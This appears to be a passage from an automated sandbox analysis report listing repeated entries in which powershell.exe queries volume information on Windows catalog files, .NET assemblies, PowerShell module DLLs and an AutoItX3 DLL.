Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0210~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
